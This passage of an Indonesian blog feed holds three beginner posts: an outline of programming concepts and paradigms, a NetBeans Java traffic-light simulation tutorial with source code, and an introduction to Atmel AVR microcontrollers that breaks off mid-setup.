&lt;br /&gt;&amp;#8226; Program adalah kumpulan instruksi atau perintah yang disusun sedemikian rupa sehingga mempunyai urutan nalar yang tepat untuk menyelesaikan suatu persoalan. (Menurut P. Insap Santosa).    &lt;br /&gt;&amp;#8226; Instruksi (statement) yang dimaksud adalah syntax (cara penulisan) sesuai dengan bahasa pemrograman yang digunakan.    &lt;br /&gt;&amp;#8226; Mempunyai komponen-komponen : Input, Output, Proses, Percabangan dan Perulangan.&lt;/p&gt;  &lt;p align="justify"&gt;Bahasa Pemrograman   &lt;br /&gt;&amp;#8226; Adalah alat untuk membuat program    &lt;br /&gt;&amp;#8226; Contoh: C, C++, C#, Pascal, Basic, Perl, PHP, ASP, JHP, Java, dll.    &lt;br /&gt;&amp;#8226; Perbedaan: cara memberikan instruksi    &lt;br /&gt;&amp;#8226; Persamaan: bertujuan menghasilkan output yang sama&lt;/p&gt;  &lt;p align="justify"&gt;Paradigma Pemrograman   &lt;br /&gt;&amp;#8226; Pemrograman Prosedural    &lt;br /&gt;&amp;#8226; Berdasarkan urutan-urutan, sekuensial    &lt;br /&gt;&amp;#8226; Program adalah suatu rangkaian prosedur untuk memanipulasi data. Prosedur merupakan kumpulan instruksi yang dikerjakan secara berurutan.    &lt;br /&gt;&amp;#8226; Harus mengingat prosedur mana yang sudah dipanggil dan apa yang sudah diubah.    &lt;br /&gt;&amp;#8226; Pemrograman Fungsional    &lt;br /&gt;&amp;#8226; Berdasarkan teori fungsi matematika    &lt;br /&gt;&amp;#8226; Fungsi merupakan dasar utama program.    &lt;br /&gt;&amp;#8226; Pemrograman Terstruktur    &lt;br /&gt;&amp;#8226; Secara berurutan dan terstrukrtur.    &lt;br /&gt;&amp;#8226; Program dapat dibagai-bagi menjadi prosedur dan fungsi.    &lt;br /&gt;&amp;#8226; Contoh: PASCAL dan C    &lt;br /&gt;&amp;#8226; Pemrograman Modular    &lt;br /&gt;&amp;#8226; Pemrograman ini membentuk banyak modul.    &lt;br /&gt;&amp;#8226; Modul merupakan kumpulan dari prosedur dan fungsi yang berdiri sendiri    &lt;br /&gt;&amp;#8226; Sebuah program dapat merupakan kumpulan modul-modul.    &lt;br /&gt;&amp;#8226; Contoh: MODULA-2 atau ADA    &lt;br /&gt;&amp;#8226; Pemrograman Berorientasi Obyek    &lt;br /&gt;&amp;#8226; Pemrograman berdasarkan prinsip obyek, dimana obyek memiliki data/variabel/property dan method/event/prosedur yang dapat dimanipulasi    &lt;br /&gt;&amp;#8226; Contoh: C++, Object Pascal, dan Java.    &lt;br /&gt;&amp;#8226; Pemrograman Berorientasi Fungsi    &lt;br /&gt;&amp;#8226; Pemrograman ini berfokus pada suatu fungsi tertentu saja. Sangat tergantung pada tujuan pembuatan bahasa pemrograman ini.    &lt;br /&gt;&amp;#8226; Contoh: SQL (Structured Query Language), HTML, XML dan lain-lain.    &lt;br /&gt;&amp;#8226; Pemrograman Deklaratif    &lt;br /&gt;&amp;#8226; Pemrograman ini mendeskripsikan suatu masalah dengan pernyataan daripada memecahkan masalah dengan implementasi algoritma.    &lt;br /&gt;&amp;#8226; Contoh: PROLOG&lt;/p&gt;  &lt;p align="justify"&gt;Algoritma   &lt;br /&gt;&amp;#8226; Asal kata Algoritma berasal dari nama Abu Ja&amp;#8217;far Mohammed Ibn Musa al-Khowarizmi    &lt;br /&gt;&amp;#8226; Ilmuan Persia yang menulis kitab al jabr w&amp;#8217;al-muqabala (rules of restoration and reduction)    &lt;br /&gt;&amp;#8226; Tahun 825 M    &lt;br /&gt;&amp;#8226; Berasal dari Iran&lt;/p&gt;  &lt;p align="justify"&gt;Definisi Algoritma   &lt;br /&gt;&amp;#8226; Algoritma adalah urutan langkah logis tertentu untuk memecahkan suatu masalah.    &lt;br /&gt;&amp;#8226; Urutan langkah logis, yang berarti algoritma harus mengikuti suatu urutan tertentu, tidak boleh melompat-lompat.    &lt;br /&gt;&amp;#8226; (Dari Microsoft Press Computer and Internet Dictionaary 1997, 1998)    &lt;br /&gt;&amp;#8226; Alur pemikiran dalam menyelesaikan suatu pekerjaan yang dituangkan secara tertulis.    &lt;br /&gt;&amp;#8226; Alur pikiran, sehingga algoritma seseorang dapat juga berbeda dari algoritma orang lain.    &lt;br /&gt;&amp;#8226; Tertulis, yang artinya dapat berupa kalimat, gambar, atau tabel tertentu.    &lt;br /&gt;&amp;#8226; (Dari Algoritma dan Struktur Data dengan C, C++, dan Java oleh Moh Sjukani hal 1)&lt;/p&gt;  &lt;p align="justify"&gt;Kriteria Algoritma (Donald E. Knuth)   &lt;br /&gt;&amp;#8226; Input: algoritma dapat memiliki nol atau lebih inputan dari luar.    &lt;br /&gt;&amp;#8226; Output: algoritma harus memiliki minimal satu buah output keluaran.    &lt;br /&gt;&amp;#8226; Definiteness (pasti): algoritma memiliki instruksi-instruksi yang jelas dan tidak ambigu.    &lt;br /&gt;&amp;#8226; Finiteness (ada batas): algoritma harus memiliki titik berhenti (stopping role).    &lt;br /&gt;&amp;#8226; Effectiveness (tepat dan efisien): algoritma sebisa mungkin harus dapat dilaksanakan dan efektif. Contoh instruksi yang tidak efektif adalah: A = A + 0 atau A = A * 1&lt;/p&gt;  &lt;p align="justify"&gt;Namun ada beberapa program yang memang dirancang untuk unterminatable: contoh Sistem Operasi&lt;/p&gt;  &lt;p align="justify"&gt;&lt;em&gt;refrensi : &lt;/em&gt;&lt;a href="http://lecturer.ukdw.ac.id/anton/"&gt;&lt;em&gt;http://lecturer.ukdw.ac.id/anton/&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Nah ini tadi baru bab paling awal... &lt;/p&gt;  &lt;p align="justify"&gt;Kalau mau lebih dalam lagi,Tungu tanggal maennya.... gak lama koq...&lt;/p&gt;  &lt;p align="justify"&gt;Salam Penulis&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://newbie-center.blogspot.com/2008/08/konsep-bahasa-pemrograman.html" target="_blank"&gt;newbie-center.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:fef1e1de-938f-4f0a-949b-5acc2a041f06" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/pengenalan" rel="tag"&gt;pengenalan&lt;/a&gt;,&lt;a href="http://technorati.com/tags/pemrograman" rel="tag"&gt;pemrograman&lt;/a&gt;,&lt;a href="http://technorati.com/tags/konsep" rel="tag"&gt;konsep&lt;/a&gt;&lt;/div&gt;  &lt;p align="justify"&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-6078406860068809462?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/6078406860068809462/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=6078406860068809462&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6078406860068809462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6078406860068809462'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/konsep-bahasa-pemrograman.html' title='Konsep Bahasa Pemrograman'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-7958132073292411765</id><published>2008-08-21T20:16:00.001+07:00</published><updated>2008-08-21T20:16:03.011+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Membuat program untuk pemula : Java Aplikasi “Simulasi Lampu Lalu Lintas” di Netbeans 6.0.1</title><content type='html'>&lt;p align="justify"&gt;Bagi teman-teman yang ingin mencoba buat simulasi, disini saya mencoba membuatkan simulasi Lampu Lalulitas yang sangat sederhana. Mungkin simulasi ini cocok untuk teman yang baru pertama kali mencoba. Banyak perkenalannya, dan mudah. Selamat mencoba dan semoga bermanfaat. &lt;/p&gt;  &lt;p align="justify"&gt;Membuat program di NetBeans lebih mudah dibanding menggunakan alat bantu lain nya,karena NetBeans sudah merupakan IDE (&lt;em&gt;Integrated Development Environment&lt;/em&gt;) + RAD (&lt;em&gt;Rapid Application Development&lt;/em&gt;). &lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Bisa dipakai untuk membuat program Aplikasi (standalone), Applet (jalan di web client), Servlet atau Java Server Page (jalan di web server). Di blog yang akan dipraktekkan yaitu Java Applet dan Java Aplikasi. Program aplikasi biasanya digunakan untuk membuat program yang berhubungan dengan database. Bagi yang mau unduh NetBeans, kunjungi aja &lt;a href="http://sun.com"&gt;www.sun.com&lt;/a&gt; Misalnya saja kita akan membuat program lampu lalu lintas. Pada penulisan source code, untuk memperjelas penulisan dapat kita tambahkan komentar-komentar. Komentar tidak berpengaruh pada jalannya program, tanda komentar:&lt;/p&gt;  &lt;div align="justify"&gt;   &lt;pre&gt;   //  &amp;#8230; komentar &amp;#8230;	: digunakan untuk komentar satu baris&lt;br /&gt;   /**  &amp;#8230;komentar&amp;#8230;.  */	: digunakan untuk komentar satu baris atau lebih, biasanya menjelaskan&lt;br /&gt;                          hal yang berhubugan dengan kode atau jalannya program.&lt;br /&gt;  /* &amp;#8230;komentar&amp;#8230;   */	: digunakan untuk komentar satu baris atau lebih, biasanya menjelaskan&lt;br /&gt;                          keterangan diluar kode program seperti penulis, waktu, dll.&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;mulai membuat program Klik menubar File &amp;#8211;&amp;gt; NewProject atau tekan alt + shift + n bersamaan Kemudian akan keluar kolom seperti ini:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://ccasp.files.wordpress.com/2008/07/12.jpg"&gt;&lt;img height="223" alt="" src="http://ccasp.files.wordpress.com/2008/07/12.jpg?w=300&amp;amp;h=223" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Pilih &lt;em&gt;Java Application&lt;/em&gt;, klik &lt;em&gt;next&lt;/em&gt; kemudian muncul kolom selanjutnya:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://ccasp.files.wordpress.com/2008/07/2.jpg"&gt;&lt;img height="142" alt="" src="http://ccasp.files.wordpress.com/2008/07/2.jpg?w=300&amp;amp;h=142" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Isi nama project dengan awalan huruf besar(standar penulisan), tanpa spasi. Jangan lupa untuk &lt;em&gt;Uncentang&lt;/em&gt; &amp;#8220;Create main Classnya&amp;#8221;. Jadi deh, project kosong kita&amp;#8230;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://ccasp.files.wordpress.com/2008/07/3.jpg"&gt;&lt;img height="189" alt="" src="http://ccasp.files.wordpress.com/2008/07/3.jpg?w=300&amp;amp;h=189" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Seperti pada gambar, klik kanan pada project kita tadi, kemudian plih &lt;em&gt;New &amp;#8211;&amp;gt; JFrame Form&lt;/em&gt; , artinya kita akan membuat kelas frame baru.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;a href="http://ccasp.files.wordpress.com/2008/07/4.jpg"&gt;&lt;img height="121" alt="" src="http://ccasp.files.wordpress.com/2008/07/4.jpg?w=300&amp;amp;h=121" width="300" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Isikan datanya, jangan lupa nama kelas dengan awalan huruf kapital, supaya standar&amp;#8230; Kemudian isi &lt;em&gt;packagenya&lt;/em&gt;, misalnya yang saya isikan &amp;amp;quotLatihan.Blog&amp;#8221;, berarti saya akan menyimpan kelas JFrame tadi di direktori &amp;amp;quotsrc/Latihan/Blog&amp;#8221; , dengan begitu kita dapat mengelompokkan kelas-kelas mana saja yang sejenis dalam satu direktori sehingga mempermudah kita jika kita ingin menggunakan kelas tersebut pada project lain dengan mengimport kelas tersebut. Lumayan lah, menghemat mengetiknya&amp;#8230;hehe&amp;#8230; Setelah itu, bisa kita lihat ada &lt;em&gt;Frame&lt;/em&gt; kosong. Inilah kehebatan dari GUI (&lt;em&gt;Graphics User Interface&lt;/em&gt;), tinggal klik dan drop. Kita akan menambahkan komponen-komponen yang diperlukan :&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img alt="" src="http://ccasp.files.wordpress.com/2008/07/5.jpg" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Bisa teman coba-coba tinggal &lt;em&gt;drag &amp;amp; drop&lt;/em&gt; dari kolom sebelah kanan. Semua itu Objek. Ada Objek tombol, panel, text, dll. Kalau mau di ubah textnya, tinggal rename atau klik kanan, &lt;em&gt;Edit Text&lt;/em&gt; sedangkan yang berhubungan dengan input-output, lebih baik diubah nama variabelnya, agar mempermudah aksesnya dengan cara klik kanan, &lt;em&gt;Change Variable Name&amp;#8230;&lt;/em&gt;, untuk menghilangkan keambiguan dan mencocokkan dengan teman2 variabel atau nama objek yang saya gunakan:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&amp;#160;&lt;img alt="" src="http://ccasp.files.wordpress.com/2008/07/6.jpg" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Nama objek ditulis dengan huruf kecil standarnya&amp;#8230; kemudian pilih nama objek yang mudah di ingat sehingga bisa membedakan objek secara cepat. Selesai juga interfacenya, kalau mau di ubah-ubah atau dikasih gambar-gambar atau icon, warna, tinggal ubah-ubah menu di kotak sebelah kanan bawah, di &lt;em&gt;Properties&lt;/em&gt;. Kemudian, kita mulai dengan koding2 deh&amp;#8230; Klik pada bagian source, dan yah kita dapatkan lahan buat koding2&amp;#8230;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img alt="" src="http://ccasp.files.wordpress.com/2008/07/7.jpg" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Semua objek dari kelas Radio Button pada propertiesnya bagian &lt;em&gt;enabled&lt;/em&gt; agar di &lt;em&gt;uncentang&lt;/em&gt; agar tidak dapat diubah.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img alt="" src="http://ccasp.files.wordpress.com/2008/07/8.jpg" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Kemudian, klik Button Ubah, lihat kotak kanan bawah, bagian &lt;em&gt;Events&lt;/em&gt;, di bagian &lt;em&gt;Events&lt;/em&gt; inilah kita dapat memberikan kelakuan-kelakuan untuk objek. Klik &lt;em&gt;Action Performed &amp;#8211;&amp;gt; Enter&amp;#8230; &lt;/em&gt;Yah disini kita menuliskan kode apa saja yang terjadi ketika tombol ubah ini diklik.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Tambahkan juga even &lt;em&gt;Mouse Entered&lt;/em&gt; dan &lt;em&gt;Mouse Exited&lt;/em&gt;. Kemudian, isikan kodenya hingga bagian sourcenya seperti ini:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;br /&gt;  &lt;pre&gt;/*&lt;br /&gt; * MainFrame.java&lt;br /&gt; *&lt;br /&gt; * Created on July 26, 2008, 3:14 PM&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;package Latihan.Blog;&lt;br /&gt;&lt;br /&gt;import java.awt.Color;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * @cca&lt;br /&gt; */&lt;br /&gt;&lt;strong&gt;public class MainFrame extends javax.swing.JFrame&lt;/strong&gt; {&lt;br /&gt;&lt;br /&gt;int a =2;   //pesan variable a&lt;br /&gt;&lt;br /&gt;    /** Creates new form MainFrame */&lt;br /&gt;    public MainFrame() {&lt;br /&gt;&lt;br /&gt;        initComponents();   //memasang atau mengompile objek-objek&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;//bagian ini tidak dapat di ubah&lt;br /&gt;    /** This method is called from within the constructor to&lt;br /&gt;     * initialize the form.&lt;br /&gt;     * WARNING: Do NOT modify this code. The content of this method is&lt;br /&gt;     * always regenerated by the Form Editor.&lt;br /&gt;     */&lt;br /&gt;   Generated code..&lt;br /&gt;&lt;br /&gt;//yang terjadi ketika tombol ubah ditekan&lt;br /&gt;&lt;br /&gt;    private void bGantiActionPerformed(java.awt.event.ActionEvent evt) {&lt;br /&gt;        // TODO add your handling code here:&lt;br /&gt;&lt;br /&gt;        a++;     //nilai a terus bertambah satu setiap di tekan&lt;br /&gt;//if conditional, bagian ini mengatur warna lampu dan radio button       &lt;br /&gt;&lt;br /&gt;        if(a%3 == 0){&lt;br /&gt;                     pMerah.setBackground(Color.GRAY);      //set warna&lt;br /&gt;                     pHijau.setBackground(Color.GREEN);&lt;br /&gt;                     rbStop.setSelected(false);     //seleksi yang tidak aktif&lt;br /&gt;                     rbGo.setSelected(true);	      //seleksi yang aktif&lt;br /&gt;                               }&lt;br /&gt;&lt;br /&gt;         else if(a%3 == 1){&lt;br /&gt;                     pHijau.setBackground(Color.GRAY);&lt;br /&gt;                     pJingga.setBackground(Color.ORANGE);&lt;br /&gt;                     rbGo.setSelected(false);&lt;br /&gt;                     rbHati2.setSelected(true);&lt;br /&gt;                 }&lt;br /&gt;&lt;br /&gt;          else {&lt;br /&gt;                     pJingga.setBackground(Color.GRAY);&lt;br /&gt;                     pMerah.setBackground(Color.RED);&lt;br /&gt;                     rbHati2.setSelected(false);&lt;br /&gt;                     rbStop.setSelected(true);&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;  &lt;strong&gt;private void bGantiMouseEntered(java.awt.event.MouseEvent evt) &lt;/strong&gt;{&lt;br /&gt;        // TODO add your handling code here:&lt;br /&gt;     setCursor(Cursor.HAND_CURSOR);     //saat kursor masuk area tombol, kursor berubah bentuk&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;  private void bGantiMouseExited(java.awt.event.MouseEvent evt) &lt;/strong&gt;{&lt;br /&gt;    // TODO add your handling code here:&lt;br /&gt;    setCursor(Cursor.DEFAULT_CURSOR);   //saat kursor kelua area tombol, kursor kembali seperti semula&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * @ param args the command line arguments&lt;br /&gt;     */&lt;br /&gt; Dst...&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Pastikan bagian ini, pada gambar atas sebelah kanan, berwarna hijau yang menandakan tidak ada masalah, dan bagian tab bawah, tab run, pastikan tidak ada tulisa error dan tidak ada tulisan berwarna biru, yang berarti warning, yang terkadang membuat program kita jadi aneh, gak jalan, dst&amp;#8230;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;img alt="" src="http://ccasp.files.wordpress.com/2008/07/10.jpg" /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Lalu, run project kita, tekan gambar segitiga hijau di kanan atas (run) atau tekan F6&amp;#8230; Jadi deh program kita&amp;#8230;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;Gimana&amp;#8230;.??? Pada program ini kita masih belum memanfaatkan fitur-fitur java. Kita hanya gunakan satu kelas, belum rumit sehingga ketidakberadaan kelas belum kita rasakan.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;source : &lt;a href="http://ccasp.wordpress.com/2008/07/28/membuat-program-untuk-pemula-java-aplikasi-simulasi-lampu-lalu-lintas-di-netbeans-601/" target="_blank"&gt;ccasp.wordpress.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:8f051db6-7929-426a-8309-46d8531aaec6" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/javascript" rel="tag"&gt;javascript&lt;/a&gt;,&lt;a href="http://technorati.com/tags/simulasi" rel="tag"&gt;simulasi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-7958132073292411765?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/7958132073292411765/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=7958132073292411765&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7958132073292411765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/7958132073292411765'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/08/membuat-program-untuk-pemula-java.html' title='Membuat program untuk pemula : Java Aplikasi “Simulasi Lampu Lalu Lintas” di Netbeans 6.0.1'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2410097445932936871</id><published>2008-08-21T20:11:00.001+07:00</published><updated>2008-08-21T20:11:53.917+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><title type='text'>Dasar:Mikrokontroller Atmel AVR 8 bit</title><content type='html'>&lt;p align="justify"&gt;Atmel Semiconductor sudah mengeluarkan mikrokontroller seri AVR 8 bit yang menurut saya memiliki banyak keunggulan dibandingkan seri 89C51. Keunggulan tersebut antara lain (perbandingan dengan ATMEGA32):&lt;/p&gt;  &lt;p align="justify"&gt;1. Variannya sangat banyak, mulai dari yang 8 pin sampai 64 pin    &lt;br /&gt;2. Memiliki internal EPROM, anda tidak perlu lagi memakai batere untuk mem-backup isi RAM     &lt;br /&gt;3. Memiliki 8 channel ADC 10 bit     &lt;br /&gt;4. Memiliki internal oscilator, sehingga bisa dikonfigurasikan tanpa Xtal.     &lt;br /&gt;5. Ram internal 2kb (bandingkan 89C51 yang hanya 128byte)     &lt;br /&gt;6. 32KB EEPROM untuk program (89C51 hanya 4kb)     &lt;br /&gt;7. Internal watch dog. Nah ini penting, sehingga bisa mencegah sistem hang     &lt;br /&gt;8. Brown-out detector, juga mencegah hang.     &lt;br /&gt;9. In-system programming, tidak perlu programmer khusus     &lt;br /&gt;10. Punya port SPI, I2C     &lt;br /&gt;11. Arsitektur RISC, 1 instruksi hanya dilaksanakan 1 clock, bandingkan 89C51 membutuhkan 6-12 clock.     &lt;br /&gt;12. Dan yang paling penting:Development tools, cross compiler (C) gratis! Bandingkan dengan 89C51 harus memakai Frankln Cross Compiler yang harganya selangit...&lt;/p&gt; &lt;span class="fullpost"&gt;   &lt;p align="justify"&gt;Untuk developmentnya, saya biasanya memakai bahasa C, karena kalau memakai assembly, rumit banget dan memusingkan (menurut saya...) Dengan memakai bahasa C, pemrograman menjadi sangat mudah dan cepat. Kalau mau mencoba memakai bahasa Pascal, bisa juga, silahkan cek www.mikroe.com      &lt;br /&gt;Jadi, tinggalkan kebiasaan lama memakai bahasa Assembler untuk pemrograman mikrokontroller, gunakan bahasa C jika anda ingin development yang cepat dan mudah... Gratis juga kan?       &lt;br /&gt;Tertarik? Sekarang mari kita persiapkan tools nya yang gratis itu:       &lt;br /&gt;Software di PC:       &lt;br /&gt;1. AvrStudio Versi 4.13 Build 571 (ini yang saya pakai), silahkan download di www.atmel.com       &lt;br /&gt;2. WinAVR Versi 20071221, download di www.sourceforge.net atau search menggunakan google, keyword WinAVR       &lt;br /&gt;3. PonyProg2000 download di http://ponyprog.sourceforge.net       &lt;br /&gt;Catatan:       &lt;br /&gt;WinAVR dengan nama avr-gcc tersedia juga di linux, cuma saya belum mencobanya.       &lt;br /&gt;Programmer:       &lt;br /&gt;Untuk programmernya kita harus membeli Universal Programmer seharga 10 Juta-an... Kaget? Enggak kok, cuma harus menyiapkan uang sekitar 10 ribu untuk:       &lt;br /&gt;1. DB25 Female       &lt;br /&gt;2. 4 buah resistor 100 ohm       &lt;br /&gt;3. Konektor 6 pin, bisa memakai Header 6 pin       &lt;br /&gt;4. Kabel isi banyak kurang lebih 1meter (atau kabel pita)       &lt;br /&gt;&lt;a href="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ8kIjNgnI/AAAAAAAAACY/hNbfWAkDi2U/s1600-h/ponyprog_sch.png"&gt;&lt;img alt="" src="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ8kIjNgnI/AAAAAAAAACY/hNbfWAkDi2U/s320/ponyprog_sch.png" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;Konektor DB25 adalah konektor yang dicolokkan ke paralel port untuk memprogram. Nah, dalam proses programmingnya, setiap PCB (atau desain) yang anda buat memakai mikrokontroller AVR, harus menyiapkan konektor 6 pin yang terhubung ke:       &lt;br /&gt;1. GROUND       &lt;br /&gt;2. Reset (Pin 9 pada ATMEGA32)       &lt;br /&gt;3. Not connected       &lt;br /&gt;4. SCK (Pin 8 pada ATMEGA32)       &lt;br /&gt;5. MISO (Pin 7 pada ATMEGA32)       &lt;br /&gt;6. MOSI (Pin 6 pada ATMEGA32)       &lt;br /&gt;Sekarang kita buat rangkaian yang paling sederhana, setidaknya kita bisa meyakinkan bahwa seluruh proses mulai dari pembuatan software sampai memprogram AVR berjalan dengan lancar.       &lt;br /&gt;&lt;a href="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ83PWdcAI/AAAAAAAAACg/2t65vfVClSw/s1600-h/atmega32.JPG"&gt;&lt;img alt="" src="http://bp1.blogger.com/_VlzoWkg0NHM/SJZ83PWdcAI/AAAAAAAAACg/2t65vfVClSw/s320/atmega32.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;Rangkaian sederhana ATMEGA32:       &lt;br /&gt;&lt;a href="http://bp0.blogger.com/_VlzoWkg0NHM/SJZ9FJQcO2I/AAAAAAAAACo/RJk29h5Yvio/s1600-h/sap-mega32.JPG"&gt;&lt;img alt="" src="http://bp0.blogger.com/_VlzoWkg0NHM/SJZ9FJQcO2I/AAAAAAAAACo/RJk29h5Yvio/s320/sap-mega32.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;Rangkaiannya mirip dengan 89C51, Xtalnya juga bisa memakai standar 89C51, cuma capasitor xtalnya 22pF. Rangkaian ini berfungsi untuk menyalakan 3 buah LED saja karena tujuan kita adalah menguji apakah ATMEGA32 ini bisa berfungsi atau tidak.       &lt;br /&gt;Untuk power supply, gunakan 5 Volt, bisa menggunakan LM2576, 7805 atau sumber tegangan lainnya, hanya jangan sampai lebih dari 5.5 Volt karena dapat mengakibatkan ATMEGA32 rusak.       &lt;br /&gt;Mari kita desain software yang bisa menyalakan ketiga led tersebut bergantian tahap demi tahap.       &lt;br /&gt;Pembuatan Software ATMEGA32       &lt;br /&gt;1. Install AvrStudio yang sudah didownload       &lt;br /&gt;2. Install WinAVR       &lt;br /&gt;3. Install PonyProg2000       &lt;br /&gt;Apabila semuanya sudah diinstall, silahkan buka software AVRSTUDIO nya.       &lt;br /&gt;1. Pilih Project &amp;#8211; New Project       &lt;br /&gt;2. Pilih AvrGCC dan nama project, serta folder project itu disimpan. Lihat gambar dibawah:       &lt;br /&gt;&lt;a href="http://bp2.blogger.com/_VlzoWkg0NHM/SJZ9Uq2MBWI/AAAAAAAAACw/KXk_R2nIPxo/s1600-h/avr1.JPG"&gt;&lt;img alt="" src="http://bp2.blogger.com/_VlzoWkg0NHM/SJZ9Uq2MBWI/AAAAAAAAACw/KXk_R2nIPxo/s320/avr1.JPG" border="0" /&gt;&lt;/a&gt;       &lt;br /&gt;Opsi Create Folder akan membuat satu folder baru untuk project yang akan kita buat. Untuk projectnya, saya beri nama:testpertama. AVRStudio akan membuat folder testpertama di My Documents       &lt;br /&gt;3. Klik Next       &lt;br /&gt;&lt;a 